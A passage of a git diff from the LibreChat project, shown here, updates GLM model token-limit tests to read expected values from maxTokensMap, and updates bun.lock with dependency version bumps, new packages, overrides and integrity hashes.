- expect(getModelMaxTokens('glm-4-32b')).toBe(128000);
- expect(getModelMaxTokens('glm-4')).toBe(128000);
- expect(getModelMaxTokens('glm4')).toBe(128000);
+ expect(getModelMaxTokens('glm-4.6')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.6']);
+ expect(getModelMaxTokens('glm-4.5v')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.5v']);
+ expect(getModelMaxTokens('glm-4.5-air')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'],
+ );
+ expect(getModelMaxTokens('glm-4.5')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.5']);
+ expect(getModelMaxTokens('glm-4-32b')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4-32b']);
+ expect(getModelMaxTokens('glm-4')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4']);
+ expect(getModelMaxTokens('glm4')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm4']);
});
test('should handle partial matches for GLM models with provider prefixes', () => {
- expect(getModelMaxTokens('z-ai/glm-4.6')).toBe(200000);
- expect(getModelMaxTokens('z-ai/glm-4.5')).toBe(131000);
- expect(getModelMaxTokens('z-ai/glm-4.5-air')).toBe(131000);
- expect(getModelMaxTokens('z-ai/glm-4.5v')).toBe(66000);
- expect(getModelMaxTokens('z-ai/glm-4-32b')).toBe(128000);
+ expect(getModelMaxTokens('z-ai/glm-4.6')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.6'],
+ );
+ expect(getModelMaxTokens('z-ai/glm-4.5')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5'],
+ );
+ expect(getModelMaxTokens('z-ai/glm-4.5-air')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'],
+ );
+ expect(getModelMaxTokens('z-ai/glm-4.5v')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'],
+ );
+ expect(getModelMaxTokens('z-ai/glm-4-32b')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4-32b'],
+ );
- expect(getModelMaxTokens('zai/glm-4.6')).toBe(200000);
- expect(getModelMaxTokens('zai/glm-4.5')).toBe(131000);
- expect(getModelMaxTokens('zai/glm-4.5-air')).toBe(131000);
- expect(getModelMaxTokens('zai/glm-4.5v')).toBe(66000);
+ expect(getModelMaxTokens('zai/glm-4.6')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.6']);
+ expect(getModelMaxTokens('zai/glm-4.5')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.5']);
+ expect(getModelMaxTokens('zai/glm-4.5-air')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'],
+ );
+ expect(getModelMaxTokens('zai/glm-4.5v')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'],
+ );
- expect(getModelMaxTokens('zai-org/GLM-4.6')).toBe(200000);
- expect(getModelMaxTokens('zai-org/GLM-4.5')).toBe(131000);
- expect(getModelMaxTokens('zai-org/GLM-4.5-Air')).toBe(131000);
- expect(getModelMaxTokens('zai-org/GLM-4.5V')).toBe(66000);
- expect(getModelMaxTokens('zai-org/GLM-4-32B-0414')).toBe(128000);
+ expect(getModelMaxTokens('zai-org/GLM-4.6')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.6'],
+ );
+ expect(getModelMaxTokens('zai-org/GLM-4.5')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5'],
+ );
+ expect(getModelMaxTokens('zai-org/GLM-4.5-Air')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'],
+ );
+ expect(getModelMaxTokens('zai-org/GLM-4.5V')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'],
+ );
+ expect(getModelMaxTokens('zai-org/GLM-4-32B-0414')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4-32b'],
+ );
});
test('should handle GLM model variations with suffixes', () => {
- expect(getModelMaxTokens('glm-4.6-fp8')).toBe(200000);
- expect(getModelMaxTokens('zai-org/GLM-4.6-FP8')).toBe(200000);
- expect(getModelMaxTokens('zai-org/GLM-4.5-Air-FP8')).toBe(131000);
+ expect(getModelMaxTokens('glm-4.6-fp8')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.6']);
+ expect(getModelMaxTokens('zai-org/GLM-4.6-FP8')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.6'],
+ );
+ expect(getModelMaxTokens('zai-org/GLM-4.5-Air-FP8')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'],
+ );
});
test('should prioritize more specific GLM patterns', () => {
- expect(getModelMaxTokens('glm-4.5-air-custom')).toBe(131000);
- expect(getModelMaxTokens('glm-4.5-custom')).toBe(131000);
- expect(getModelMaxTokens('glm-4.5v-custom')).toBe(66000);
+ expect(getModelMaxTokens('glm-4.5-air-custom')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'],
+ );
+ expect(getModelMaxTokens('glm-4.5-custom')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5'],
+ );
+ expect(getModelMaxTokens('glm-4.5v-custom')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'],
+ );
});
});
diff --git a/bun.lock b/bun.lock
index 600a640c87..39d9641ec4 100644
--- a/bun.lock
+++ b/bun.lock
@@ -7,7 +7,7 @@
"devDependencies": {
"@axe-core/playwright": "^4.10.1",
"@eslint/compat": "^1.2.6",
- "@eslint/eslintrc": "^3.3.1",
+ "@eslint/eslintrc": "^3.3.4",
"@eslint/js": "^9.20.0",
"@playwright/test": "^1.56.1",
"@types/react-virtualized": "^9.22.0",
@@ -31,30 +31,32 @@
"lint-staged": "^15.4.3",
"prettier": "^3.5.0",
"prettier-plugin-tailwindcss": "^0.6.11",
+ "turbo": "^2.8.12",
"typescript-eslint": "^8.24.0",
},
},
"api": {
"name": "@librechat/backend",
- "version": "0.8.2-rc2",
+ "version": "0.8.3",
"dependencies": {
- "@aws-sdk/client-bedrock-runtime": "^3.941.0",
- "@aws-sdk/client-s3": "^3.758.0",
+ "@anthropic-ai/vertex-sdk": "^0.14.3",
+ "@aws-sdk/client-bedrock-runtime": "^3.980.0",
+ "@aws-sdk/client-s3": "^3.980.0",
"@aws-sdk/s3-request-presigner": "^3.758.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.27.0",
- "@googleapis/youtube": "^20.0.0",
+ "@azure/storage-blob": "^12.30.0",
+ "@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
- "@langchain/core": "^0.3.79",
- "@librechat/agents": "^3.0.50",
+ "@langchain/core": "^0.3.80",
+ "@librechat/agents": "^3.1.55",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.24.3",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
- "axios": "^1.12.1",
+ "axios": "^1.13.5",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
"connect-redis": "^8.1.0",
@@ -64,9 +66,9 @@
"dedent": "^1.5.3",
"dotenv": "^16.0.3",
"eventsource": "^3.0.2",
- "express": "^5.1.0",
+ "express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.2.1",
+ "express-rate-limit": "^8.3.0",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
"file-type": "^18.7.0",
@@ -82,13 +84,15 @@
"keyv-file": "^5.1.2",
"klona": "^2.0.6",
"librechat-data-provider": "*",
- "lodash": "^4.17.21",
+ "lodash": "^4.17.23",
+ "mammoth": "^1.11.0",
+ "mathjs": "^15.1.0",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
- "multer": "^2.0.2",
+ "multer": "^2.1.1",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -104,15 +108,16 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
"tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.10.0",
+ "undici": "^7.18.2",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
- "youtube-transcript": "^1.2.1",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
"zod": "^3.22.4",
},
"devDependencies": {
@@ -124,7 +129,7 @@
},
"client": {
"name": "@librechat/frontend",
- "version": "0.8.2-rc2",
+ "version": "0.8.3",
"dependencies": {
"@ariakit/react": "^0.4.15",
"@ariakit/react-core": "^0.4.17",
@@ -135,11 +140,12 @@
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
+ "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
- "@radix-ui/react-alert-dialog": "^1.1.15",
+ "@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
"@radix-ui/react-collapsible": "^1.0.3",
- "@radix-ui/react-dialog": "^1.1.15",
+ "@radix-ui/react-dialog": "1.0.2",
"@radix-ui/react-dropdown-menu": "^2.1.1",
"@radix-ui/react-hover-card": "^1.0.5",
"@radix-ui/react-icons": "^1.3.0",
@@ -174,9 +180,10 @@
"jotai": "^2.12.5",
"js-cookie": "^3.0.5",
"librechat-data-provider": "*",
- "lodash": "^4.17.21",
+ "lodash": "^4.17.23",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
+ "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -189,10 +196,9 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
- "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
- "react-router-dom": "^6.11.2",
+ "react-router-dom": "^6.30.3",
"react-speech-recognition": "^3.10.0",
"react-textarea-autosize": "^8.4.0",
"react-transition-group": "^4.4.5",
@@ -206,9 +212,11 @@
"remark-math": "^6.0.0",
"remark-supersub": "^1.0.0",
"sse.js": "^2.5.0",
+ "swr": "^2.3.8",
"tailwind-merge": "^1.9.1",
"tailwindcss-animate": "^1.0.5",
"tailwindcss-radix": "^2.8.0",
+ "ts-md5": "^1.3.1",
"zod": "^3.22.4",
},
"devDependencies": {
@@ -216,6 +224,7 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
+ "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -224,10 +233,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.3.0",
+ "@types/node": "^20.19.35",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^4.3.4",
+ "@vitejs/plugin-react": "^5.1.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -238,23 +247,23 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^29.7.0",
+ "jest-environment-jsdom": "^30.2.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
+ "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-loader": "^7.1.0",
- "postcss-preset-env": "^8.2.0",
+ "postcss-preset-env": "^11.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^6.4.1",
+ "vite": "^7.3.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.23.0",
- "vite-plugin-pwa": "^0.21.2",
+ "vite-plugin-node-polyfills": "^0.25.0",
+ "vite-plugin-pwa": "^1.2.0",
},
},
"packages/api": {
"name": "@librechat/api",
- "version": "1.7.22",
+ "version": "1.7.25",
"devDependencies": {
"@babel/preset-env": "^7.21.5",
"@babel/preset-react": "^7.18.6",
@@ -266,7 +275,6 @@
"@rollup/plugin-replace": "^5.0.5",
"@rollup/plugin-typescript": "^12.1.2",
"@types/bun": "^1.2.15",
- "@types/diff": "^6.0.0",
"@types/express": "^5.0.0",
"@types/express-session": "^1.18.2",
"@types/jest": "^29.5.2",
@@ -279,49 +287,60 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
"mongodb": "^6.14.2",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "pdfjs-dist": "^5.4.624",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"ts-node": "^10.9.2",
"typescript": "^5.0.4",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
},
"peerDependencies": {
- "@aws-sdk/client-s3": "^3.758.0",
+ "@anthropic-ai/vertex-sdk": "^0.14.3",
+ "@aws-sdk/client-bedrock-runtime": "^3.970.0",
+ "@aws-sdk/client-s3": "^3.980.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.27.0",
+ "@azure/storage-blob": "^12.30.0",
+ "@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
- "@langchain/core": "^0.3.79",
- "@librechat/agents": "^3.0.50",
+ "@langchain/core": "^0.3.80",
+ "@librechat/agents": "^3.1.55",
"@librechat/data-schemas": "*",
- "@modelcontextprotocol/sdk": "^1.24.3",
- "axios": "^1.12.1",
+ "@modelcontextprotocol/sdk": "^1.27.1",
+ "@smithy/node-http-handler": "^4.4.5",
+ "axios": "^1.13.5",
"connect-redis": "^8.1.0",
- "diff": "^7.0.0",
"eventsource": "^3.0.2",
"express": "^5.1.0",
"express-session": "^1.18.2",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
+ "google-auth-library": "^9.15.1",
+ "https-proxy-agent": "^7.0.6",
"ioredis": "^5.3.2",
"js-yaml": "^4.1.1",
"jsonwebtoken": "^9.0.0",
"keyv": "^5.3.2",
"keyv-file": "^5.1.2",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
+ "mathjs": "^15.1.0",
"memorystore": "^1.6.7",
"mongoose": "^8.12.1",
"node-fetch": "2.7.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"tiktoken": "^1.0.15",
- "undici": "^7.10.0",
+ "undici": "^7.18.2",
"zod": "^3.22.4",
},
},
"packages/client": {
"name": "@librechat/client",
- "version": "0.4.51",
+ "version": "0.4.54",
"devDependencies": {
"@babel/core": "^7.28.5",
"@babel/preset-env": "^7.28.5",
@@ -351,8 +370,8 @@
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-i18next": "^15.4.0",
- "rimraf": "^6.1.2",
- "rollup": "^4.0.0",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-postcss": "^4.0.2",
"rollup-plugin-typescript2": "^0.35.0",
@@ -366,10 +385,10 @@
"@dicebear/core": "^9.2.2",
"@headlessui/react": "^2.1.2",
"@radix-ui/react-accordion": "^1.2.11",
- "@radix-ui/react-alert-dialog": "^1.1.15",
+ "@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
"@radix-ui/react-collapsible": "^1.1.11",
- "@radix-ui/react-dialog": "^1.1.15",
+ "@radix-ui/react-dialog": "1.0.2",
"@radix-ui/react-dropdown-menu": "^2.1.1",
"@radix-ui/react-hover-card": "^1.0.5",
"@radix-ui/react-icons": "^1.3.0",
@@ -409,9 +428,9 @@
},
"packages/data-provider": {
"name": "librechat-data-provider",
- "version": "0.8.231",
+ "version": "0.8.302",
"dependencies": {
- "axios": "^1.12.1",
+ "axios": "^1.13.5",
"dayjs": "^1.11.13",
"js-yaml": "^4.1.1",
"zod": "^3.22.4",
@@ -420,7 +439,6 @@
"@babel/preset-env": "^7.21.5",
"@babel/preset-react": "^7.18.6",
"@babel/preset-typescript": "^7.21.0",
- "@langchain/core": "^0.3.62",
"@rollup/plugin-alias": "^5.1.0",
"@rollup/plugin-commonjs": "^29.0.0",
"@rollup/plugin-json": "^6.1.0",
@@ -435,8 +453,8 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"openapi-types": "^12.1.3",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"typescript": "^5.0.4",
@@ -447,7 +465,7 @@
},
"packages/data-schemas": {
"name": "@librechat/data-schemas",
- "version": "0.0.35",
+ "version": "0.0.38",
"devDependencies": {
"@rollup/plugin-alias": "^5.1.0",
"@rollup/plugin-commonjs": "^29.0.0",
@@ -456,15 +474,14 @@
"@rollup/plugin-replace": "^5.0.5",
"@rollup/plugin-terser": "^0.4.4",
"@rollup/plugin-typescript": "^12.1.2",
- "@types/diff": "^6.0.0",
"@types/express": "^5.0.0",
"@types/jest": "^29.5.2",
"@types/node": "^20.3.0",
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"mongodb-memory-server": "^10.1.4",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"ts-node": "^10.9.2",
@@ -474,7 +491,7 @@
"jsonwebtoken": "^9.0.2",
"klona": "^2.0.6",
"librechat-data-provider": "*",
- "lodash": "^4.17.21",
+ "lodash": "^4.17.23",
"meilisearch": "^0.38.0",
"mongoose": "^8.12.1",
"nanoid": "^3.3.7",
@@ -484,11 +501,20 @@
},
},
"overrides": {
+ "@anthropic-ai/sdk": "0.73.0",
+ "@hono/node-server": "^1.19.10",
"axios": "1.12.1",
"elliptic": "^6.6.1",
+ "fast-xml-parser": "5.3.8",
"form-data": "^4.0.4",
+ "hono": "^4.12.4",
"katex": "^0.16.21",
+ "langsmith": "0.4.12",
"mdast-util-gfm-autolink-literal": "2.0.0",
+ "serialize-javascript": "^7.0.3",
+ "svgo": "^2.8.2",
+ "tslib": "^2.8.1",
+ "underscore": "1.13.8",
},
"packages": {
"@aashutoshrathi/word-wrap": ["@aashutoshrathi/word-wrap@1.2.6", "", {}, "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA=="],
@@ -497,7 +523,11 @@
"@alloc/quick-lru": ["@alloc/quick-lru@5.2.0", "", {}, "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw=="],
- "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.65.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-zIdPOcrCVEI8t3Di40nH4z9EoeyGZfXbYSvWdDLsB/KkaSYMnEgC7gmcgWu83g2NTn1ZTpbMvpdttWDGGIk6zw=="],
+ "@antfu/install-pkg": ["@antfu/install-pkg@1.1.0", "", { "dependencies": { "package-manager-detector": "^1.3.0", "tinyexec": "^1.0.1" } }, "sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ=="],
+
+ "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.73.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["zod"], "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw=="],
+
+ "@anthropic-ai/vertex-sdk": ["@anthropic-ai/vertex-sdk@0.14.4", "", { "dependencies": { "@anthropic-ai/sdk": ">=0.50.3 <1", "google-auth-library": "^9.4.2" } }, "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g=="],
"@apideck/better-ajv-errors": ["@apideck/better-ajv-errors@0.3.6", "", { "dependencies": { "json-schema": "^0.4.0", "jsonpointer": "^5.0.0", "leven": "^3.1.0" }, "peerDependencies": { "ajv": ">=8" } }, "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA=="],
@@ -525,19 +555,21 @@
"@aws-sdk/client-bedrock-agent-runtime": ["@aws-sdk/client-bedrock-agent-runtime@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/eventstream-serde-browser": "^4.2.4", "@smithy/eventstream-serde-config-resolver": "^4.3.4", "@smithy/eventstream-serde-node": "^4.2.4", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k2UeG/+Ka74jztHDzYNrpNLDSsMCst+ph3+e7uAX5Jmo40tVKa+sVu4DkV3BIXuktc6jqM1ewtfPNug79kN6JQ=="],
- "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-node": "3.952.0", "@aws-sdk/eventstream-handler-node": "3.936.0", "@aws-sdk/middleware-eventstream": "3.936.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/middleware-websocket": "3.936.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/eventstream-serde-config-resolver": "^4.3.5", "@smithy/eventstream-serde-node": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-stream": "^4.5.6", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Xc1xqIz/OdFd23UQ6cvROD+3tfvDpp5dabMqUYXFiKlk5psMNM9xhzLwWK7DE1tr1ra/dui77w8JOiLA1dC7AA=="],
+ "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.1004.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/eventstream-handler-node": "^3.972.10", "@aws-sdk/middleware-eventstream": "^3.972.7", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/middleware-websocket": "^3.972.12", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-t8cl+bPLlHZQD2Sw1a4hSLUybqJZU71+m8znkyeU8CHntFqEp2mMbuLKdHKaAYQ1fAApXMsvzenCAkDzNeeJlw=="],
"@aws-sdk/client-cognito-identity": ["@aws-sdk/client-cognito-identity@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/client-sso-oidc": "3.623.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": 